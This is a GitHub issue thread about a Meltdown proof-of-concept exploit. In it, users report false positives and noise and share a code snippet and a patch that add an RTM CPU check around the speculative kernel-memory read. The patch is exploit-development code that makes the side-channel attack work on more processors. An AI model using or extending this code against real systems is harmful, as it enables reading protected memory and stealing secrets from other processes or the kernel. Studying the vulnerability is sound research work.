meltdown-poc icon indicating copy to clipboard operation
meltdown-poc copied to clipboard

The TEST_IN_OWN_PROCESS may not ok.

Open randomeval opened this issue 7 years ago • 4 comments

the TEST_PHRASE is in your own process address space, and can be read. So the TEST_IN_OWN_PROCESS will work without problem.

But if you change TEST_PHRASE to some address witch can't read, the result will be noise.

I use mmap and mprotect make address can't read, then It will not work.

#if TEST_IN_OWN_PROCESS
    static char* test = NULL;
    int n = strlen(TEST_PHRASE);
    test = (uint8_t *) mmap(NULL, n, PROT_READ|PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    memcpy(test, TEST_PHRASE, n);
     // make array not readable.
     mprotect(test, n, PROT_NONE);
   
    start_addr = (unsigned long)test;
#else
......

randomeval avatar Jan 06 '18 09:01 randomeval

I can confirm this issue. After preventing the unsupported instructions to be executed with cpu_has_rtm() test, I was able to compile and test this on other PCs, including an Atom one which is not vulnerable (tested with another meltdown implementation) and got false positive.

On the other hand, the TEST_IN_OWN_PROCESS set to 0 got random noise on all of my PCs regardless on the NUM_PROBES setting.

pm-cz avatar Jan 06 '18 10:01 pm-cz

@pm-cz Would you mind to share your code

wlmnzf avatar Jan 06 '18 23:01 wlmnzf

@wlmnzf: OK, but as I said, even without the modification, the original code seems to be broken and on Skylake with external process using TEST_IN_OWN_PROCESS set to 0 fails to get anything reasonable. Partial solution is in #4, but just for specific use case (syscall table). I guess the #6 pull request may be fixing more, but I switched to https://github.com/paboldin/meltdown-exploit instead.

--- meltdown.c	2018-01-05 17:08:28.507444929 +0100
+++ meltdown-multi.c	2018-01-07 08:08:44.080168777 +0100
@@ -10,6 +10,7 @@
 #include <string.h>
 
 #include <sys/mman.h>
+#include <cpuid.h>
 
 #define NUM_PROBES 5
 #define TEST_IN_OWN_PROCESS 1
@@ -50,6 +51,18 @@
 
 #define __rtm_force_inline __attribute__((__always_inline__)) inline
 
+#define CPUID_RTM (1 << 11)
+
+static inline int cpu_has_rtm(void)
+{
+    if (__get_cpuid_max(0, NULL) >= 7) {
+        unsigned a, b, c, d;
+        __cpuid_count(7, 0, a, b, c, d);
+        return !!(b & CPUID_RTM);
+    }
+    return 0;
+}
+
 static __rtm_force_inline int _xbegin(void)
 {
 	int ret = _XBEGIN_STARTED;
@@ -130,7 +143,7 @@
          flush(&buf[i * page_size]);
       }
    
-      if ((status = _xbegin()) == _XBEGIN_STARTED) {
+      if (!cpu_has_rtm() || ((status = _xbegin()) == _XBEGIN_STARTED)) {
          asm __volatile__ (
            "%=:                              \n"
            "xorq %%rax, %%rax                \n"
@@ -142,7 +155,9 @@
            :  [ptr] "r" (ptr), [buf] "r" (buf)
            :  "%rax", "%rbx");
       
-         _xend();
+         if (cpu_has_rtm()) {
+            _xend();
+         }
       } else {
          asm __volatile__ ("mfence\n" :::);
       }
@@ -213,6 +228,11 @@
          argv[0]);
       return 0;
    }
+
+   if (!cpu_has_rtm()) {
+      fprintf(stderr,"Without RTM the test in external process will probably not work\n");
+//      return 1;
+   } 
    
    start_addr = strtoul(argv[1], NULL, 16);
    len = strtoul(argv[2], NULL, 10);

pm-cz avatar Jan 07 '18 07:01 pm-cz

It works,Thank you! @pm-cz

wlmnzf avatar Jan 07 '18 15:01 wlmnzf